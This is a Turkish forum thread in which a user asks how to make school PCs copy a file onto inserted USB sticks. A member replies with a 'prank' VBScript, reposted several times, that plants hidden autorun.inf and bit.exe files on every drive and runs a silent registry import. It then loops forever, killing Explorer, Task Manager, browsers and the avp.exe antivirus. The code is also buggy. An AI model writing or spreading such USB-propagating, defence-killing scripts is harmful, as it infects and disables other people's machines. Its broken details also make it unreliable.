Cmd Ile Bi Dosyayı Kopyalatmak

[*TOYGAR*]

okuldaki pclerden slaytları çalan öğrencileri tespit etmek için flash bellek pcye takılınca sistem disklerinden birinde bulunan txt dosyasını belleğe atmak istiyoruz .yani bir bat dosyası yazacağı onu c ve ya d ye atacağım sonra bellek takılınca belirlediğim txt dosyası flash belleğe atılacak. nasıl yapabilirim acaba?konu yanlış yerde ise özür dilerim eğer konu kapanırsa nereye açacağımı da yazın altında pls

[mustiback]

Tam anlayamadım?

Senin dediğin takılan sürücülere dosya atmak mı?

[mustiback]

Bunu VBScript ile yapabilirsin.

On error resume next

set dosya=Createobject("Wscript.Shell")

Set dosya2=CreateOBject("Scripting.FileSystemObject")

set surucu = bitx.drive

For each drive in surucu

if drive.isready = true then

Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True)

Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True)

KDR=dosya.Run("cmd /c @start C:\bit.exe")

Kdr=dosya.Run("cmd /c @start regedit /s bit.reg")

end if

next

Do

KDR=dosya.run("cmd /c taskkill /f /im msnmsgr.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im msnmsg.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im explorer.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im taskmgr.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im iexplorer.exe",o,true)

KDR=dosya.run("cmd /c taskkill /f /im firefox.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im winamp.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im avp.exe",0,true)

Loop

Arkadaşa bi şaka yaparken kullanmıştım

[*TOYGAR*]

On error resume next

set dosya=Createobject("Wscript.Shell")

Set dosya2=CreateOBject("Scripting.FileSystemObject")

set surucu = bitx.drive

For each drive in surucu

if drive.isready = true then

Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True)

Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True)

KDR=dosya.Run("cmd /c @start C:\bit.exe")

Kdr=dosya.Run("cmd /c @start regedit /s bit.reg")

end if

next

Do

KDR=dosya.run("cmd /c taskkill /f /im msnmsgr.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im msnmsg.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im explorer.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im taskmgr.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im iexplorer.exe",o,true)

KDR=dosya.run("cmd /c taskkill /f /im firefox.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im winamp.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im avp.exe",0,true)

Loop

bunu txt dosyasına yazıp vbs olarak mı kayıt etmeliyim?

[mustiback]

On error resume next

set dosya=Createobject("Wscript.Shell")

Set dosya2=CreateOBject("Scripting.FileSystemObject")

set surucu = bitx.drive

For each drive in surucu

if drive.isready = true then

Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True)

Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True)

end if

next

Do

KDR=dosya.run("cmd /c taskkill /f /im msnmsgr.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im msnmsg.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im explorer.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im taskmgr.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im iexplorer.exe",o,true)

KDR=dosya.run("cmd /c taskkill /f /im firefox.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im winamp.exe",0,true)

KDR=dosya.run("cmd /c taskkill /f /im avp.exe",0,true)

Loop

bunu txt dosyasına yazıp vbs olarak mı kayıt etmeliyim?

Hayır,vbs olarak kaydeceksin.Ama düzenle sen bunu .İçinde bazı tehlikeli şeyler var .Mesela Do loop içerisinde

bazı programları kapatıorum.

SEn sadece

böle kullan

On error resume next

set dosya=Createobject("Wscript.Shell")

Set dosya2=CreateOBject("Scripting.FileSystemObject")

set surucu = bitx.drive

For each drive in surucu

if drive.isready = true then

Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True)

Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True)

end if

next

Ayrıaten txt dosyasının ismini sölersen ona göre de düzenleyebilirim.

[*TOYGAR*]

bu bellekten sisteme mi kopyalıor çalıştıramadımda.?

[mustiback]

Tüm disklere kopyalayıp.Dosyayı gizliyor.

[*TOYGAR*]

olmadı 10 kere çalıştırdım kopyalanıo adını bit.exe olaark belirlediğim dosyada çalışıo ama bellekte ve ya dsiklerde bulamıorum nereye kopyalıor tam olarak?bi de kopyalanması için vbs dosyasının çalıştırılması gerekli değil mi?

[mustiback]

olmadı 10 kere çalıştırdım kopyalanıo adını bit.exe olaark belirlediğim dosyada çalışıo ama bellekte ve ya dsiklerde bulamıorum nereye kopyalıor tam olarak?bi de kopyalanması için vbs dosyasının çalıştırılması gerekli değil mi?

On error resume next

set dosya=Createobject("Wscript.Shell")

Set dosya2=CreateOBject("Scripting.FileSystemObject")

set surucu = bitx.drive

For each drive in surucu

if drive.isready = true then

Kdr=dosya.Run("cmd /c copy DOSYA İSMİ "&drive.DriveLetter&":\DOSYA İSMİ",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\DOSYA İSMİ",0,True)

Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\DOSYA İSMİ",0,True)

KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\DOSYA İSMİ",0,True)

end if

next

Bunun kopyaladıgı dosyaları görmen için gizli klasörleri açıp

Not defterine

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]

"ShowSuperHidden"=dword:00000001

yazıp .reg olarak kaydetip aç!Ve C:\sürücülerine o dosyaların kopyalandığını göreceksin.

[*TOYGAR*]

bir dosyayı msdosta tüm disklere nasıl kopyalarım?

[mustiback]

bir dosyayı msdosta tüm disklere nasıl kopyalarım?

Sana verdiğim kodlar zaten tüm disklere kopyalıyor.

[ZEUS__]

öğrencileri tespite çalışacağına flash disk kullanımını iptal etsen?